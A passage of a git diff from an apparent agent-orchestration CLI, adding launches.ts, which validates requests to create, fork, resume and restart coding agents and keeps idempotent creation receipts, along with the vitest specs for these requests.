expect(restart).not.toHaveBeenCalled()+ })++ it('pass a refusal on with its cause when it has one', async () => {+ const failed = setup({}, { restart: vi.fn(async () => ({ ok: false as const, error: 'RESTART_FAILED', detail: 'claude did not come back up' })) })+ expect(await failed.relaunch('agent_restart', { agentId: 'a1' })).toStrictEqual({ error: 'RESTART_FAILED', detail: 'claude did not come back up' })+ const bare = setup({}, { restart: vi.fn(async () => ({ ok: false as const, error: 'AGENT_NOT_FOUND' })) })+ expect(await bare.relaunch('agent_restart', { agentId: 'a1' })).toStrictEqual({ error: 'AGENT_NOT_FOUND' })+ })++ it('keep a receipt: one relaunch per creation id, an unobserved one unconfirmed, a refusal failed and cut short', async () => {+ const { relaunch, replies, resume } = setup()+ await relaunch('agent_resume', { agentId: 'a1', creationId: CREATION, permissionMode: 'auto' })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(replies[0]).toStrictEqual({ creationId: CREATION, state: 'created', agent: { id: 'a1' }, resumed: true })+ await relaunch('agent_resume', { agentId: 'a1', creationId: CREATION, permissionMode: 'ask' })+ expect(replies.at(-1)).toStrictEqual({ error: 'CREATION_CONFLICT' })+ expect(resume).toHaveBeenCalledOnce()+ expect(await relaunch('agent_restart', { agentId: 'a1', creationId: 'short' })).toStrictEqual({ error: 'INVALID_CREATION_ID' })+ for (const [error, state] of [['RESTART_FAILED', 'unconfirmed'], ['RESUME_UNCONFIRMED', 'unconfirmed'], ['AGENT_BUSY', 'failed']] as const) {+ const run = setup({}, { restart: vi.fn(async () => ({ ok: false as const, error, detail: 'd'.repeat(3000) })) })+ await run.relaunch('agent_restart', { agentId: 'a1', creationId: CREATION })+ await vi.waitFor(() => expect(run.replies).toHaveLength(1))+ expect(run.replies[0].state).toBe(state)+ if (state === 'failed') expect(run.replies[0].failure).toStrictEqual({ code: 'AGENT_BUSY', detail: 'd'.repeat(2000) })+ }+ const bare = setup({}, { restart: vi.fn(async () => ({ ok: false as const, error: 'AGENT_BUSY' })) })+ await bare.relaunch('agent_restart', { agentId: 'a1', creationId: CREATION })+ await vi.waitFor(() => expect(bare.replies).toStrictEqual([{ creationId: CREATION, state: 'failed', failure: { code: 'AGENT_BUSY' } }]))+ })++ it('say why a receipt could not be kept, and INTERNAL when the answer cannot be put together', async () => {+ const storage = setup({ receipts: { status: vi.fn(), run: vi.fn(() => { throw new AgentCreationReceiptError('CREATION_STORAGE_FAILED') }) } })+ expect(await storage.relaunch('agent_restart', { agentId: 'a1', creationId: CREATION })).toStrictEqual({ error: 'CREATION_STORAGE_FAILED' })+ const broken = setup({ receipts: { status: vi.fn(), run: vi.fn(() => { throw new Error('bug') }) } })+ expect(await broken.relaunch('agent_restart', { agentId: 'a1', creationId: CREATION })).toStrictEqual({ error: 'INTERNAL' })+ const frameless = setup({ toProject: vi.fn(async () => { throw new Error('no frame') }) })+ await frameless.relaunch('agent_restart', { agentId: 'a1', creationId: CREATION })+ await vi.waitFor(() => expect(frameless.replies).toStrictEqual([{ error: 'INTERNAL' }]))+ })+})++describe('agent_fork', () => {+ it('forks the agent named, with a name and a first message when given, and answers with the new one\'s frame and what it got', async () => {+ const { forkAsk, fork } = setup()+ expect(await forkAsk({ agentId: 'a1', name: ` ${'n'.repeat(130)} `, prompt: 'carry on' })).toStrictEqual({ agent: { id: 'forked' }, level: 'native' })+ expect(fork).toHaveBeenCalledWith({ agentId: 'a1', name: 'n'.repeat(120), prompt: 'carry on' })+ await forkAsk({ agentId: 'a1', name: ' ', prompt: ' ' })+ await forkAsk({ agentId: 'a1', prompt: null })+ expect(vi.mocked(fork!).mock.calls.slice(1).map(([input]) => input)).toEqual([{ agentId: 'a1', name: null, prompt: null }, { agentId: 'a1', name: null, prompt: null }])+ })++ it('refuses a request with no agent, on a machine that cannot fork, and a first message that is not text or too long', async () => {+ const { forkAsk, fork } = setup()+ expect(await forkAsk({})).toStrictEqual({ error: 'MISSING_AGENT_ID' })+ expect(await setup({}, { fork: null }).forkAsk({ agentId: 'a1' })).toStrictEqual({ error: 'UNSUPPORTED_ON_REMOTE' })+ expect(await forkAsk({ agentId: 'a1', prompt: 7 })).toStrictEqual({ error: 'INVALID_PROMPT' })+ expect(await forkAsk({ agentId: 'a1', prompt: 'x'.repeat(MAX_FIRST_PROMPT_CHARS + 1) })).toStrictEqual({ error: 'PROMPT_TOO_LONG' })+ expect(await forkAsk({ agentId: 'a1', creationId: 'short' })).toStrictEqual({ error: 'INVALID_CREATION_ID' })+ expect(fork).not.toHaveBeenCalled()+ })++ it('passes a refusal on with its cause when it has one', async () => {+ const failed = setup({}, { fork: vi.fn(async () => ({ ok: false as const, error: 'SPAWN_FAILED', detail: 'tmux: no server' })) })+ expect(await failed.forkAsk({ agentId: 'a1' })).toStrictEqual({ error: 'SPAWN_FAILED', detail: 'tmux: no server' })+ const bare = setup({}, { fork: vi.fn(async () => ({ ok: false as const, error: 'NOT_FORKABLE' })) })+ expect(await bare.forkAsk({ agentId: 'a1' })).toStrictEqual({ error: 'NOT_FORKABLE' })+ })++ it('keeps a receipt like agent_create: one fork per creation id, a spawn it cannot confirm unconfirmed, a refusal failed and cut short', async () => {+ const { forkAsk, replies, fork } = setup()+ await forkAsk({ agentId: 'a1', creationId: CREATION })+ await vi.waitFor(() => expect(replies).toHaveLength(1))+ expect(replies[0]).toStrictEqual({ creationId: CREATION, state: 'created', agent: { id: 'forked' }, level: 'native' })+ await forkAsk({ agentId: 'a1', creationId: CREATION })+ await vi.waitFor(() => expect(replies).toHaveLength(2))+ expect(fork).toHaveBeenCalledOnce()+ for (const [error, state] of [['SPAWN_FAILED', 'unconfirmed'], ['REGISTRATION_FAILED', 'unconfirmed'], ['NOT_FORKABLE', 'failed']] as const) {+ const run = setup({}, { fork: vi.fn(async () => ({ ok: false as const, error, detail: 'd'.repeat(3000) })) })+ await run.forkAsk({ agentId: 'a1', creationId: CREATION })+ await vi.waitFor(() => expect(run.replies).toHaveLength(1))+ expect(run.replies[0].state).toBe(state)+ if (state === 'failed') expect(run.replies[0].failure).toStrictEqual({ code: 'NOT_FORKABLE', detail: 'd'.repeat(2000) })+ }+ const bare = setup({}, { fork: vi.fn(async () => ({ ok: false as const, error: 'NOT_FORKABLE' })) })+ await bare.forkAsk({ agentId: 'a1', creationId: CREATION })+ await vi.waitFor(() => expect(bare.replies).toStrictEqual([{ creationId: CREATION, state: 'failed', failure: { code: 'NOT_FORKABLE' } }]))+ })++ it('says why a receipt could not be kept, and INTERNAL when the answer cannot be put together', async () => {+ const storage = setup({ receipts: { status: vi.fn(), run: vi.fn(() => { throw new AgentCreationReceiptError('CREATION_CONFLICT') }) } })+ expect(await storage.forkAsk({ agentId: 'a1', creationId: CREATION })).toStrictEqual({ error: 'CREATION_CONFLICT' })+ const broken = setup({ receipts: { status: vi.fn(), run: vi.fn(() => { throw new Error('bug') }) } })+ expect(await broken.forkAsk({ agentId: 'a1', creationId: CREATION })).toStrictEqual({ error: 'INTERNAL' })+ const frameless = setup({ toProject: vi.fn(async () => { throw new Error('no frame') }) })+ await frameless.forkAsk({ agentId: 'a1', creationId: CREATION })+ await settle()+ await vi.waitFor(() => expect(frameless.replies).toStrictEqual([{ error: 'INTERNAL' }]))+ })+})diff --git a/cli/src/core/agents/launches.ts b/cli/src/core/agents/launches.tsnew file mode 100644index 000000000..41573eba8--- /dev/null+++ b/cli/src/core/agents/launches.ts@@ -0,0 +1,401 @@+/**+ * The requests that start an agent's process: `agent_create`, `agent_fork`, `agent_resume` and+ * `agent_restart`, and `agent_create_status`, which asks what became of one. A client that names its+ * request with a `creationId` gets a durable receipt (lib/agentCreationReceipt.ts): a transport retry+ * carrying the same id never starts a second process, and a lost answer can be asked for again. Such a+ * request is answered outside the connection's line, so a status check can pass a slow launch.+ *+ * Moved verbatim out of the socket's request switch (docs/design/2026-10-03-harnessd.md), with the+ * receipts the socket used to hold.+ */+import { readdir } from 'node:fs/promises'+import { homedir } from 'node:os'+import { dirname, isAbsolute } from 'node:path'+import type { BackendSocket } from '../../backendSocket.js'+import { installedDsh } from '../../dsh/installed.js'+import { DSH_ID_RE, dshSupportedEngines } from '../../dsh/manifest.js'+import { opencodeMajorVersion } from '../../engines/opencode/version.js'+import { ENGINES, isTerminalEngine, type AgentEngine } from '../../engines/types.js'+import { AgentCreationReceiptError, creationFingerprint, validCreationId, type AgentCreationReceipts, type AgentCreationStatus } from '../../lib/agentCreationReceipt.js'+import type { AgentFrame } from '../../lib/agentFrame.js'+import { engineLabel } from '../../lib/agentNames.js'+import { claudeTrusts, codexTrusts, preTrustClaudeProject, preTrustCodexProject } from '../../lib/claudeTrust.js'+import {+ AGENT_NAME_RE, FirstPromptUnsupportedError, MAX_FIRST_PROMPT_CHARS, NamedAgentUnsupportedError, permissionModeApproves,+ permissionModeFlags, supportsFirstPrompt, supportsNamedAgent,+} from '../../lib/engineLaunch.js'+import { parseGridLaunchOverride } from '../../lib/gridLaunch.js'+import { parseNewAgentModel, resolveNewAgentModel } from '../../lib/newAgentModel.js'+import { parseProjectFolder, prepareProjectFolder, projectsRoot, ProjectFolderError } from '../../lib/projectFolder.js'+import type { RegisteredSession } from '../../lib/registry.js'++/** Creates an agent (core/agents/create.ts). The orchestrator creates through the same one. */+export type CreateAgent = NonNullable<BackendSocket['onCreateAgent']>+/** Opens a NEW agent that starts with another one's whole history (core/agents/fork.ts); `level` says+ * what it got: the engine's own fork, or a handoff message. */+export type ForkAgent = NonNullable<BackendSocket['onForkAgent']>+/** Stops an agent's live engine process and relaunches it in the SAME tmux pane, keeping the SAME+ * agentId and (best-effort) resuming the same engine session. `resumed` says whether the relaunch+ * actually resumed the prior conversation or had to fall back to a fresh one (core/agents/restart.ts). */+export type RestartAgent = (agentId: string) => Promise<+ { ok: true; session: RegisteredSession; resumed: boolean }+ | { ok: false; error: string; detail?: string }+>+/** Resumes stopped work directly, or attaches if it is already running. Never replaces a live process+ * and never falls back to a fresh conversation (core/agents/lifecycle.ts). */+export type ResumeAgent = (agentId: string, permissionMode?: string) => ReturnType<RestartAgent>++export interface LaunchRequestDeps {+ /** The receipts of launches asked for with a `creationId`. */+ receipts: Pick<AgentCreationReceipts, 'run' | 'status'>+ /** Each launch, read when a request comes in: null on a machine that cannot launch agents. */+ createAgent: () => CreateAgent | null+ forkAgent: () => ForkAgent | null+ resumeAgent: () => ResumeAgent | null+ restartAgent: () => RestartAgent | null+ byAgent: (agentId: string) => RegisteredSession | undefined+ /** An agent's frame, as the socket builds it for every reply. */+ toProject: (s: RegisteredSession) => Promise<AgentFrame>+}++type Reply = (result: Record<string, unknown>) => void++export function createLaunchRequests({ receipts, createAgent, forkAgent, resumeAgent, restartAgent, byAgent, toProject }: LaunchRequestDeps) {+ /** Recover by stable runtime identity; a deleted agent must never become a fresh launch. */+ const creationStatusPayload = async (status: AgentCreationStatus): Promise<Record<string, unknown>> => {+ if (status.state === 'created') {+ const session = byAgent(status.agentId)+ return session+ ? { state: 'created', agent: await toProject(session), ...(status.level ? { level: status.level } : {}), ...(status.resumed !== undefined ? { resumed: status.resumed } : {}) }+ : { state: 'unavailable' }+ }+ // A recorded refusal is a completed outcome. Keep it separate from transport/dispatch errors+ // so clients can distinguish "safe to correct the choices" from "outcome still unknown".+ if (status.state === 'failed') {+ return { state: 'failed', ...(status.preparedFolder ? { preparedFolder: status.preparedFolder } : {}), failure: { code: status.error, ...(status.detail ? { detail: status.detail } : {}) } }+ }+ return status+ }++ /** Answers `agent_create_status`: what became of the launch a `creationId` names. */+ const createStatus = async (payload: Record<string, unknown>, reply: Reply): Promise<void> => {+ const creationId = payload.creationId+ if (!validCreationId(creationId)) { reply({ error: 'INVALID_CREATION_ID' }); return }+ try {+ reply({ creationId, ...await creationStatusPayload(receipts.status(creationId)) })+ } catch (error) {+ reply({ error: error instanceof AgentCreationReceiptError ? error.code : 'INTERNAL' })+ }+ }++ /** Answers `agent_create`. `asker.local` says the frame came from this machine. */+ const create = async (payload: Record<string, unknown>, asker: { local: boolean }, reply: Reply): Promise<void> => {+ const engine = payload.engine as AgentEngine | undefined+ const cwd = payload.cwd+ if (typeof engine !== 'string' || !ENGINES.includes(engine)) { reply({ error: 'INVALID_ENGINE' }); return }+ let projectFolder+ try { projectFolder = parseProjectFolder(payload) }+ catch (error) {+ reply(error instanceof ProjectFolderError+ ? { error: error.code, detail: error.message }+ : { error: 'INVALID_PROJECT_SOURCE' }); return+ }+ // A terminal opens where a terminal app would — the home directory — when the client names+ // no folder; every other engine works IN a folder and must be told which.+ const terminal = isTerminalEngine(engine)+ if (terminal && projectFolder) { reply({ error: 'INVALID_PROJECT_SOURCE', detail: 'a terminal opens in a folder, it does not prepare one' }); return }+ if (!projectFolder && !(terminal && cwd === undefined) && (typeof cwd !== 'string' || !isAbsolute(cwd))) { reply({ error: 'INVALID_CWD' }); return }+ const onCreateAgent = createAgent()+ if (!onCreateAgent) { reply({ error: 'UNSUPPORTED_ON_REMOTE' }); return }+ const creationId = payload.creationId+ if (creationId !== undefined && !validCreationId(creationId)) {+ reply({ error: 'INVALID_CREATION_ID' }); return+ }+ if (projectFolder && (!validCreationId(creationId) || cwd !== undefined)) {+ reply({ error: 'INVALID_PROJECT_SOURCE' }); return+ }+ // Absent is the ordinary case and stays indistinguishable from a client that predates grids;+ // present-but-malformed is refused here rather than half-applied at launch, because an agent+ // that quietly ran on the engine's own login would look like it worked.+ const model = parseNewAgentModel(engine, payload)+ if (model.state === 'invalid') { reply({ error: 'INVALID_GRID', detail: model.detail }); return }+ const grid = parseGridLaunchOverride(payload.grid)+ if (grid.state === 'invalid') { reply({ error: 'INVALID_GRID', detail: grid.reason }); return }+ if (terminal && grid.state === 'ok') { reply({ error: 'INVALID_GRID', detail: 'a terminal has no engine to point at a grid' }); return }+ // Same validation the desktop app already applies client-side (`Agent._safeCodexHome`) —+ // repeated here because a client's own check is not a guarantee about what actually+ // arrives on the wire.+ const rawCodexHome = typeof payload.codexHome === 'string' ? payload.codexHome : null+ const codexHome = rawCodexHome && rawCodexHome.startsWith('/') && rawCodexHome.length <= 4096+ && !/[\x00-\x1f\x7f]/.test(rawCodexHome)+ ? rawCodexHome+ : null+ if (codexHome && (engine !== 'codex' || grid.state === 'ok')) {+ reply({ error: 'INVALID_CODEX_HOME', detail: 'codexHome is only valid for codex, without a grid' })+ return+ }+ // A DSH is refused, never approximated: an agent created as its plain base engine would look+ // like it worked and have none of the skills the user picked the tile for.+ let dsh: string | null = null+ if (payload.dsh !== undefined && payload.dsh !== null) {+ if (typeof payload.dsh !== 'string' || !DSH_ID_RE.test(payload.dsh)) {+ reply({ error: 'INVALID_DSH', detail: 'dsh must be an owner/name id' }); return+ }+ const installed = installedDsh(payload.dsh)+ if (!installed) {+ reply({ error: 'INVALID_DSH', detail: `${payload.dsh} is not installed on this machine` }); return+ }+ if (installed.manifest.kind === 'viewer') {+ reply({ error: 'INVALID_DSH', detail: `${payload.dsh} is a viewer package, not an agent` }); return+ }+ if (!dshSupportedEngines(installed.manifest).includes(engine)) {+ reply({ error: 'INVALID_DSH', detail: `${payload.dsh} supports ${dshSupportedEngines(installed.manifest).join(', ')}; ${engine} is not compatible` }); return+ }+ dsh = installed.id+ }+ // A first prompt is refused BEFORE any pane exists: an engine with no way to take one would+ // otherwise open on an empty input and look like the person's request had been heard. The+ // length bound is a first message's, not a document's. The text itself is never logged.+ let prompt: string | null = null+ if (payload.prompt !== undefined && payload.prompt !== null) {+ if (typeof payload.prompt !== 'string') { reply({ error: 'INVALID_PROMPT', detail: 'prompt must be a string' }); return }+ const trimmed = payload.prompt.trim()+ if (trimmed.length > MAX_FIRST_PROMPT_CHARS) {+ reply({ error: 'PROMPT_TOO_LONG', detail: `prompt is longer than ${MAX_FIRST_PROMPT_CHARS} characters` }); return+ }+ if (trimmed && !supportsFirstPrompt(engine)) {+ reply({ error: 'PROMPT_UNSUPPORTED', detail: new FirstPromptUnsupportedError(engine).message }); return+ }+ prompt = trimmed || null+ }+ // Blank is "number it", the same as absent — a client that sends an empty field is not+ // asking for an agent with no name.+ const name = typeof payload.name === 'string' && payload.name.trim() ? payload.name.trim() : null+ // The engine's named agent is refused BEFORE any pane exists, like the prompt: an engine with+ // no way to open as one would otherwise come up as a general session under that agent's+ // name. The shape is an identifier the engine looks a file up by — never a path.+ let agent: string | null = null+ if (payload.agent !== undefined && payload.agent !== null) {+ if (typeof payload.agent !== 'string' || !AGENT_NAME_RE.test(payload.agent)) {+ reply({ error: 'INVALID_AGENT', detail: 'agent must be 1-64 letters, digits, `-` or `_`' }); return+ }+ // OpenCode v2 counts as no way: its TUI exits 1 on `--agent` (engineLaunch.ts).+ if (!supportsNamedAgent(engine, engine === 'opencode' ? opencodeMajorVersion() : null)) {+ reply({ error: 'AGENT_UNSUPPORTED', detail: new NamedAgentUnsupportedError(engine).message }); return+ }+ agent = payload.agent+ }+ // A permission mode picked in New Harness. A client that predates the choice sends only+ // `bypassPermission`; one that sends a mode this engine does not have is refused rather than+ // quietly launched in some other mode.+ let permissionMode: string | null = null+ if (payload.permissionMode !== undefined && payload.permissionMode !== null) {+ if (typeof payload.permissionMode !== 'string' || !permissionModeFlags(engine, payload.permissionMode)) {+ reply({ error: 'INVALID_PERMISSION_MODE', detail: `${engine} has no permission mode ${JSON.stringify(payload.permissionMode)}` }); return+ }+ permissionMode = payload.permissionMode+ }+ // Opening a conversation Harness did not start: the engine resumes it, as it was. Nothing a new+ // conversation is created with applies to it.+ let resumeSessionId: string | null = null+ if (payload.resumeSessionId !== undefined && payload.resumeSessionId !== null) {+ // Engines' ids: uuids, `ses_…` (OpenCode, Kilo), `20260927_101500_ab12cd` (Hermes), slugs+ // (Devin), Pi's custom ids with dots. One word, never a path.+ if (typeof payload.resumeSessionId !== 'string' || !/^[A-Za-z0-9][A-Za-z0-9._-]{1,127}$/.test(payload.resumeSessionId)) {+ reply({ error: 'INVALID_SESSION', detail: 'resumeSessionId must be a session id' }); return+ }+ if (terminal || projectFolder || grid.state === 'ok' || model.state === 'ok' || dsh || prompt || agent) {+ reply({ error: 'INVALID_SESSION', detail: 'a resumed conversation takes no new folder, grid, harness, prompt or agent' }); return+ }+ resumeSessionId = payload.resumeSessionId+ }+ let takeOver: 'idle' | 'now' | 'wait' | null = null+ if (payload.takeOver !== undefined && payload.takeOver !== null) {+ if (!resumeSessionId || (payload.takeOver !== 'idle' && payload.takeOver !== 'now' && payload.takeOver !== 'wait')) {+ reply({ error: 'INVALID_SESSION', detail: 'takeOver is idle, now or wait, with a resumeSessionId' }); return+ }+ takeOver = payload.takeOver+ }+ const input = {+ engine,+ cwd: typeof cwd === 'string' ? cwd : terminal ? homedir() : '',+ // On unless a client says otherwise: a harness works without stopping to ask for each command.+ bypassPermission: permissionMode ? permissionModeApproves(permissionMode) : payload.bypassPermission !== false,+ permissionMode,+ grid: grid.state === 'ok' ? grid.override : null,+ codexHome,+ dsh,+ prompt,+ name,+ agent,+ resumeSessionId,+ takeOver,+ }+ const fingerprintInput = model.state === 'ok' ? { ...input, modelSelection: model.selection } : input+ if (creationId !== undefined) {+ // Reserve before spawning. A transport retry carries the SAME creationId; a deliberate+ // New agent action carries a new one. Detach so a status check can pass a slow create+ // on this connection, just as engines_probe is detached above.+ const create = onCreateAgent+ try {+ void receipts.run(creationId, creationFingerprint(projectFolder ? { ...fingerprintInput, projectFolder } : fingerprintInput), async () => {+ if (model.state === 'ok') {+ const target = await resolveNewAgentModel(model.selection).catch(() => null)+ if (!target) return { state: 'failed', error: 'GRID_UNAVAILABLE', detail: 'The selected model is unavailable. Choose another model or refresh the list.' }+ input.grid = target+ }+ let preparedFolder: string | undefined+ if (projectFolder) {+ try { preparedFolder = await prepareProjectFolder(projectFolder, { label: (dsh ? installedDsh(dsh)?.manifest.name : null) ?? engineLabel(input.engine) }) }+ catch (error) {+ return { state: 'failed', error: error instanceof ProjectFolderError ? error.code : 'PROJECT_PREPARATION_FAILED',+ detail: error instanceof ProjectFolderError ? error.message : 'Could not prepare the project folder.' }+ }+ // Only a folder this daemon just made EMPTY is one the engine need not ask about. A clone or+ // the person's own repo is theirs to answer for (lib/claudeTrust.ts); a worktree gets only+ // the answer its source repo already has. `branch` IS the source folder: nothing to record.+ try {+ const engineTrust = input.engine === 'claude' ? { trusts: claudeTrusts, record: preTrustClaudeProject }+ : input.engine === 'codex' ? { trusts: codexTrusts, record: preTrustCodexProject } : null+ if (engineTrust && (projectFolder.source === 'new'+ || (projectFolder.source === 'worktree' && engineTrust.trusts(projectFolder.gitSource)))) {+ engineTrust.record(preparedFolder)+ }+ } catch (error) { console.warn(`[agent] pre-trust ${preparedFolder} · ${error instanceof Error ? error.message : error}`) }+ } else if (!dsh && asker.local && dirname(input.cwd) === projectsRoot()) {+ // On the LOCAL machine the desktop makes a new workspace ITSELF and sends the path as a plain+ // cwd, so `projectFolder` above never sees it. Such a folder is empty and is trusted the way a+ // `new` project is — but only on evidence, and only where those workspaces live:+ //+ // · directly inside the projects root, which is the one folder the app and this daemon+ // create workspaces in. Trust INHERITS downward (claudeTrusts), so recording it for a+ // folder the person merely browsed to — an empty `~/code`, or a home with nothing in it —+ // would silently cover every repo cloned under it later: OH-14 again by another door.+ // · empty as read from disk, never on the client's word. A clone, a worktree or the+ // person's own repo has content, so it stays the engine's question (lib/claudeTrust.ts).+ // · from a LOCAL frame. agent_create is not backend-only, so a relayed peer would otherwise+ // name an empty path on this host and have it trusted.+ //+ // DSH trust is decided in cli.ts, where the template count is known; leave that to it.+ try {+ const empty = await readdir(input.cwd).then((names) => names.length === 0, () => false)+ if (empty) {+ if (input.engine === 'claude') preTrustClaudeProject(input.cwd)+ if (input.engine === 'codex') preTrustCodexProject(input.cwd)+ }+ } catch (error) { console.warn(`[agent] pre-trust ${input.cwd} · ${error instanceof Error ? error.message : error}`) }+ }+ const result = await create(preparedFolder ? { ...input, cwd: preparedFolder } : input)+ if (result.ok) return { state: 'created', agentId: result.session.agentId }+ // tmux may have executed before a timeout; registration cleanup is best-effort.+ // Neither can prove that no process started, so never encourage another launch.+ if (result.error === 'SPAWN_FAILED' || result.error === 'REGISTRATION_FAILED') return { state: 'unconfirmed' }+ return { state: 'failed', error: result.error, ...(preparedFolder ? { preparedFolder } : {}), ...(result.detail ? { detail: result.detail.slice(0, 2000) } : {}) }+ }).then(async (status) => {+ reply({ creationId, ...await creationStatusPayload(status) })+ }).catch(() => reply({ error: 'INTERNAL' }))+ } catch (error) {+ reply({ error: error instanceof AgentCreationReceiptError ? error.code : 'INTERNAL' })+ }+ return+ }+ // Clients predating receipts retain their existing response shape.+ if (model.state === 'ok') {+ const target = await resolveNewAgentModel(model.selection).catch(() => null)+ if (!target) { reply({ error: 'GRID_UNAVAILABLE', detail: 'The selected model is unavailable. Choose another model or refresh the list.' }); return }+ input.grid = target+ }+ const result = await onCreateAgent(input)+ // `detail` carries the underlying cause (tmux's own message) so the person who clicked+ // Create can read it, rather than having to open a log on the machine that failed.+ if (!result.ok) {+ reply(result.detail ? { error: result.error, detail: result.detail } : { error: result.error })+ return+ }+ reply({ agent: await toProject(result.session) })+ }++ // Resume attaches or restores a saved conversation; restart replaces a live process in its+ // existing pane. Both keep the agentId and use the same durable operation receipt protocol.+ const relaunch = async (type: string, payload: Record<string, unknown>, reply: Reply): Promise<void> => {+ const target = payload.agentId as string | undefined+ if (!target) { reply({ error: 'MISSING_AGENT_ID' }); return }+ const operation = type === 'agent_resume' ? 'resume' : 'restart'+ const restart = operation === 'resume' ? resumeAgent() : restartAgent()+ if (!restart) { reply({ error: 'UNSUPPORTED_ON_REMOTE' }); return }+ const permissionMode = payload.permissionMode+ if (permissionMode !== undefined && (operation !== 'resume' || typeof permissionMode !== 'string'+ || !['ask', 'auto', 'plan', 'full'].includes(permissionMode))) {+ reply({ error: 'INVALID_PERMISSION_MODE' }); return+ }+ const invoke = () => permissionMode === undefined ? restart(target) : resumeAgent()!(target, permissionMode)+ const creationId = payload.creationId+ if (creationId !== undefined) {+ if (!validCreationId(creationId)) { reply({ error: 'INVALID_CREATION_ID' }); return }+ try {+ void receipts.run(creationId, creationFingerprint({ operation, agentId: target,+ ...(permissionMode === undefined ? {} : { permissionMode }) }), async () => {+ const result = await invoke()+ if (result.ok) return { state: 'created', agentId: result.session.agentId, resumed: result.resumed }+ // RESTART_FAILED can follow an unobserved relaunch. Never silently+ // replace that process again when a caller checks this intent.+ if (result.error === 'RESTART_FAILED' || result.error === 'RESUME_UNCONFIRMED') return { state: 'unconfirmed' }+ return { state: 'failed', error: result.error, ...(result.detail ? { detail: result.detail.slice(0, 2000) } : {}) }+ }).then(async (status) => {+ reply({ creationId, ...await creationStatusPayload(status) })+ }).catch(() => reply({ error: 'INTERNAL' }))+ } catch (error) {+ reply({ error: error instanceof AgentCreationReceiptError ? error.code : 'INTERNAL' })+ }+ return+ }+ const result = await invoke()+ if (!result.ok) {+ reply(result.detail ? { error: result.error, detail: result.detail } : { error: result.error })+ return+ }+ reply({ agent: await toProject(result.session), resumed: result.resumed })+ }++ // Fork an agent: a second one with the first one's history — see lib/forkAgent.ts. The reply+ // is agent_create's shape plus `level`, so a client opens the pane the same way.+ const fork = async (payload: Record<string, unknown>, reply: Reply): Promise<void> => {+ const target = payload.agentId as string | undefined+ if (!target) { reply({ error: 'MISSING_AGENT_ID' }); return }+ const onForkAgent = forkAgent()+ if (!onForkAgent) { reply({ error: 'UNSUPPORTED_ON_REMOTE' }); return }+ const name = typeof payload.name === 'string' && payload.name.trim() ? payload.name.trim().slice(0, 120) : null+ const rawPrompt = payload.prompt+ if (rawPrompt !== undefined && rawPrompt !== null && typeof rawPrompt !== 'string') { reply({ error: 'INVALID_PROMPT' }); return }+ const prompt = typeof rawPrompt === 'string' && rawPrompt.trim() ? rawPrompt : null+ if (prompt && prompt.length > MAX_FIRST_PROMPT_CHARS) { reply({ error: 'PROMPT_TOO_LONG' }); return }+ const creationId = payload.creationId+ if (creationId !== undefined) {+ if (!validCreationId(creationId)) { reply({ error: 'INVALID_CREATION_ID' }); return }+ // Forking starts a new process too. Reserve the same durable intent used+ // by agent_create so a lost receipt can be checked without another fork.+ const fork = onForkAgent+ try {+ void receipts.run(creationId, creationFingerprint({ operation: 'fork', agentId: target, name, prompt }), async () => {+ const result = await fork({ agentId: target, name, prompt })+ if (result.ok) return { state: 'created', agentId: result.session.agentId, level: result.level }+ if (result.error === 'SPAWN_FAILED' || result.error === 'REGISTRATION_FAILED') return { state: 'unconfirmed' }+ return { state: 'failed', error: result.error, ...(result.detail ? { detail: result.detail.slice(0, 2000) } : {}) }+ }).then(async (status) => {+ reply({ creationId, ...await creationStatusPayload(status) })+ }).catch(() => reply({ error: 'INTERNAL' }))+ } catch (error) {+ reply({ error: error instanceof AgentCreationReceiptError ? error.code : 'INTERNAL' })+ }+ return+ }+ const result = await onForkAgent({ agentId: target, name, prompt })+ if (!result.ok) {+ reply(result.detail ? { error: result.error, detail: result.detail } : { error: result.error })+ return+ }+ reply({ agent: await toProject(result.session), level: result.level })+ }++ return { createStatus, create, relaunch, fork }+}diff --git a/cli/src/core/agents/lifecycle.spec.ts b/cli/src/core/agents/lifecycle.spec.tsindex f6aa2f0ab..71cbe73a4 100644--- a/cli/src/core/agents/lifecycle.spec.ts+++ b/cli/src/core/agents/lifecycle.spec.ts@@ -2,8 +2,8 @@ import { afterEach, describe, expect, it, vi } from 'vitest'import type { PurgeDeps } from '../../lib/purgeAgentService.js'import type { RegisteredSession } from '../../lib/registry.js'import { createResumeAgentService } from '../../lib/resumeAgentService.js'-import { createStopAgentService } from '../../lib/stopAgentService.js'-import { createAgentLifecycle, type LifecycleDeps } from './lifecycle.js'+import { AgentStopError, createStopAgentService } from '../../lib/stopAgentService.js'+import { createAgentLifecycle, createPurgeRequest, createStopRequest, type LifecycleDeps } from './lifecycle.js'vi.mock('../../lib/stopAgentService.js', async (real) => ({ ...await real<object>(), createStopAgentService: vi.fn(() => vi.fn(async () => {})) }))vi.mock('../../lib/resumeAgentService.js', async (real) => ({@@ -135,3 +135,106 @@ describe('stopping, purging and resuming an agent', () => {})})})++describe('agent_delete', () => {+ const agents = new Map([['a1', { agentId: 'a1', sessionId: 's1' }], ['pending', { agentId: 'pending', sessionId: '' }]]) as unknown as Map<string, RegisteredSession>+ const request = (stop: (agentId: string) => Promise<void>) => createStopRequest({ byAgent: (id) => agents.get(id), stop })++ it('stops the agent the frame names, by agent id or session id, and says so', async () => {+ const stop = vi.fn(async () => {})+ expect(await request(stop)({ agentId: 'a1' })).toStrictEqual({ deleted: true })+ expect(await request(stop)({ sessionId: 's9' })).toStrictEqual({ deleted: true })+ expect(stop.mock.calls).toEqual([['a1'], ['s9']])+ expect(await request(stop)({})).toStrictEqual({ error: 'MISSING_AGENT_ID' })+ expect(stop).toHaveBeenCalledTimes(2)+ })++ it('refuses a stop for a conversation that changed since it was reviewed', async () => {+ const stop = vi.fn(async () => {})+ const changed = await request(stop)({ agentId: 'a1', expectedSessionId: 's0' })+ expect(changed).toStrictEqual({ error: 'SESSION_CHANGED', detail: 'This conversation changed. Refresh and review it before stopping.' })+ expect(Object.keys(changed)).toEqual(['error', 'detail'])+ expect(await request(stop)({ agentId: 'gone', expectedSessionId: 's1' })).toMatchObject({ error: 'SESSION_CHANGED' })+ expect(stop).not.toHaveBeenCalled()+ // The conversation it reviewed: none yet, or the same one.+ expect(await request(stop)({ agentId: 'pending', expectedSessionId: null })).toStrictEqual({ deleted: true })+ expect(await request(stop)({ agentId: 'a1', expectedSessionId: 's1' })).toStrictEqual({ deleted: true })+ })++ it('says a stop it could not confirm was not confirmed, and lets any other failure through', async () => {+ const unconfirmed = await request(async () => { throw new AgentStopError('The process could not be verified.') })({ agentId: 'a1' })+ 